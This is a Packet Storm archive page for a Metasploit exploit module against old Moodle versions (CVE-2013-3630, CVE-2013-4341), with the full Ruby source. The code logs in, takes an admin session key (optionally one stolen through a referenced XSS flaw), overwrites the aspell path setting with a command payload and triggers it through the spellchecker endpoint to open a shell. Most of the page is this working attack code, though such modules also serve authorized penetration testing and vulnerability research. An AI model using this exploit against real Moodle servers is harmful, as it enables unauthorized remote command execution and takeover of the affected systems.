what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Moodle Authenticated Spelling Binary Remote Code Execution

Moodle Authenticated Spelling Binary Remote Code Execution
Posted Oct 12, 2021
Authored by Brandon Perry | Site metasploit.com

Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This Metasploit module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3.

tags | exploit, web, arbitrary, shell
advisories | CVE-2013-3630, CVE-2013-4341
SHA-256 | ac6f5ab057f512464caba3ae5c9eb29729a37923234846241c7451944f72ebf8

Moodle Authenticated Spelling Binary Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Authenticated Spelling Binary RCE',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.

This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.

This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' => [
['CVE', '2013-3630'],
['CVE', '2013-4341'], # XSS
['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
]
)
end

def check
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end

CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end

def exploit
init = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
})

fail_with(Failure::Unreachable, 'No response received from the target.') unless init

print_status('Authenticating as user: ' << datastore['USERNAME'])

# don't use the lib version of the login since this is older and has different parameters
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
})

if !login || (login.code != 303)
fail_with(Failure::NoAccess, 'Login failed')
end

print_status('Getting session key to update spellchecker if no session key was specified')

sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'section' => 'editorsettingstinymce'
},
'keep_cookies' => true
})

sesskey = tinymce.get_hidden_inputs[1]['sesskey']
unless sesskey
fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
end
else
sesskey = datastore['SESSKEY']
end

# This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
# time being since it may be the default, or it may just need a send_request_cgi added to actually
# accomplish the goal.
# post = {
# 'section' => 'editorsettingstinymce',
# 'sesskey' => sesskey,
# 'return' => '',
# 's_editor_tinymce_spellengine' => 'PSpellShell',
# 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
# }

print_status('Updating spellchecker to use the system aspell')

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
},
'keep_cookies' => true
})

spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

print_status('Triggering payload')

resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'keep_cookies' => true
})

if !resp || (resp.code != 200)
fail_with(Failure::PayloadFailed, 'Error triggering payload')
end
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close